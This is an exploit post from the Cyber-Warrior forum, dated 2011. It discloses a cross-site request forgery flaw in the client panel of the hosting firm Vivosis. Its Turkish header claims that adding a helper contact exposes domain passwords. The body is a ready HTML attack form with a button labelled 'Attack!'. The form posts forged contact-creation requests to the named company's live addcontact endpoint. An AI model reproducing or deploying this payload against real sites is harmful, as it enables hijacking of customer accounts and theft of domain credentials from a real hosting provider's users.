Vivosis Hosting Domain Company ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Vivosis Hosting Domain Company ~ XSRF Vuln.

Madde
	Author : Bug Researchers/Err0r
	Date : 14.07.2011 11:16:23
	# Vivosis Hosting Domain Company ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# [#] Company Name : Vivosis Hosting & Domain Hizmetleri [#] Vulnerable Type : XSRF [#] Infection : Yardimci Kullanici Eklenerek Domain Sifreleri Çekilebilir, yardimci kullanici yetkilerini XSRF ile belirlenir.. [#] Author : Err0r - Bug Researchers [#] Demo : http://www.vivosis.com/panel/clientarea.php?action=addcontact [#] Home Page : www.vivosis.com ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <title>Bug Researchers ~ Err0r </title> <form method=post action=http://www.vivosis.com/panel/clientarea.php?action=addcontact> <input type=hidden name=submit value=true /> <input type=text name=firstname value=Ad size=25 /> <input type=text name=lastname value=Soyad size=25 /> <input type=text name=companyname value=FirmaAdi(Random) size=25 /> <input name=email type=text value=Email(Önemli) size=50> <input type=text name=address1 value=Addressbox1 size=25 /> <input type=text name=address2 value=Addressbox2 size=25 /> <input type=text name=city value=Sehir size=25 /> <input type=text name=state value=Eyalet size=25 /> <input type=text name=postcode value=34882 size=25 /> <option value=TR>Türkiye</option> <input type=text name=phonenumber value=CepTelefonu size=25 /> <input type=checkbox name=generalemails value=1 /> <input type=checkbox name=domainemails value=1 /> <input type=checkbox name=supportemails value=1 /> <input type=submit value=Attack! class=button /> </form> < -- bug code end of -- >